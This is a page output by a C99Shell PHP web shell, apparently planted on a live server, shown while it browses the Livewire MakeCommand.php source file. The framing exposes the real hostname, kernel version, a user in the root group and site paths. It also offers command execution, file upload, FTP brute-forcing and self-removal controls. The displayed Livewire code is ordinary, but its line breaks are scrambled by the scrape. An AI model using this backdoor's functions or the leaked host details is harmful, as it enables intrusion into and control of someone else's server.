!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Commands/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MakeCommand.php (5.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Commands;

use 
Illuminate\Support\Facades\File;

class 
MakeCommand extends FileManipulationCommand
{
    protected 
$signature 'livewire:make {name} {--force} {--inline} {--test} {--stub= : If you have several stubs, stored in subfolders }';

    protected 
$description 'Create a new Livewire component';

    public function 
handle()
    {
        
$this->parser = new ComponentParser(
            
config('livewire.class_namespace'),
            
config('livewire.view_path'),
            
$this->argument('name'),
            
$this->option('stub')
        );

        if (!
$this->isClassNameValid($name $this->parser->className())) {
            
$this->line("<options=bold,reverse;fg=red> WHOOPS! </> ðŸ˜³ \n");
            
$this->line("<fg=red;options=bold>Class is invalid:</> {$name}");

            return;
        }

        if (
$this->isReservedClassName($name)) {
            
$this->line("<options=bold,reverse;fg=red> WHOOPS! </> ðŸ˜³ \n");
            
$this->line("<fg=red;options=bold>Class is reserved:</> {$name}");

            return;
        }

        
$force $this->option('force');
        
$inline $this->option('inline');
        
$test $this->option('test');

        
$showWelcomeMessage $this->isFirstTimeMakingAComponent();

        
$class $this->createClass($force$inline);
        
$view $this->createView($force$inline);

        if (
$test) {
            
$test $this->createTest($force);
        }

        
$this->refreshComponentAutodiscovery();

        if(
$class || $view) {
            
$this->line("<options=bold,reverse;fg=green> COMPONENT CREATED </> ðŸ¤™\n");
            
$class && $this->line("<options=bold;fg=green>CLASS:</> {$this->parser->relativeClassPath()}");

            if (! 
$inline) {
                
$view && $this->line("<options=bold;fg=green>VIEW:</>  {$this->parser->relativeViewPath()}");
            }

            if (
$test) {
                
$test && $this->line("<options=bold;fg=green>TEST:</>  {$this->parser->relativeTestPath()}");
            }

            if (
$showWelcomeMessage && ! app()->runningUnitTests()) {
                
$this->writeWelcomeMessage();
            }
        }
    }

    protected function 
createClass($force false$inline false)
    {
        
$classPath $this->parser->classPath();

        if (
File::exists($classPath) && ! $force) {
            
$this->line("<options=bold,reverse;fg=red> WHOOPS-IE-TOOTLES </> ðŸ˜³ \n");
            
$this->line("<fg=red;options=bold>Class already exists:</> {$this->parser->relativeClassPath()}");

            return 
false;
        }

        
$this->ensureDirectoryExists($classPath);

        
File::put($classPath$this->parser->classContents($inline));

        return 
$classPath;
    }

    protected function 
createView($force false$inline false)
    {
        if (
$inline) {
            return 
false;
        }
        
$viewPath $this->parser->viewPath();

        if (
File::exists($viewPath) && ! $force) {
            
$this->line("<fg=red;options=bold>View already exists:</> {$this->parser->relativeViewPath()}");

            return 
false;
        }

        
$this->ensureDirectoryExists($viewPath);

        
File::put($viewPath$this->parser->viewContents());

        return 
$viewPath;
    }

    protected function 
createTest($force false)
    {
        
$testPath $this->parser->testPath();

        if (
File::exists($testPath) && ! $force) {
            
$this->line("<options=bold,reverse;fg=red> WHOOPS-IE-TOOTLES </> ðŸ˜³ \n");
            
$this->line("<fg=red;options=bold>Test class already exists:</> {$this->parser->relativeTestPath()}");

            return 
false;
        }

        
$this->ensureDirectoryExists($testPath);

        
File::put($testPath$this->parser->testContents());

        return 
$testPath;
    }

    public function 
isClassNameValid($name)
    {
        return 
preg_match("/^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$/"$name);
    }
    
    public function 
isReservedClassName($name)
    {
        return 
array_search(strtolower($name), $this->getReservedName()) !== false;
    }

    private function 
getReservedName()
    {
        return [
            
'parent',
            
'component',
            
'interface',
            
'__halt_compiler',
            
'abstract',
            
'and',
            
'array',
            
'as',
            
'break',
            
'callable',
            
'case',
            
'catch',
            
'class',
            
'clone',
            
'const',
            
'continue',
            
'declare',
            
'default',
            
'die',
            
'do',
            
'echo',
            
'else',
            
'elseif',
            
'empty',
            
'enddeclare',
            
'endfor',
            
'endforeach',
            
'endif',
            
'endswitch',
            
'endwhile',
            
'eval',
            
'exit',
            
'extends',
            
'final',
            
'finally',
            
'fn',
            
'for',
            
'foreach',
            
'function',
            
'global',
            
'goto',
            
'if',
            
'implements',
            
'include',
            
'include_once',
            
'instanceof',
            
'insteadof',
            
'interface',
            
'isset',
            
'list',
            
'namespace',
            
'new',
            
'or',
            
'print',
            
'private',
            
'protected',
            
'public',
            
'require',
            
'require_once',
            
'return',
            
'static',
            
'switch',
            
'throw',
            
'trait',
            
'try',
            
'unset',
            
'use',
            
'var',
            
'while',
            
'xor',
            
'yield',
        ];
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--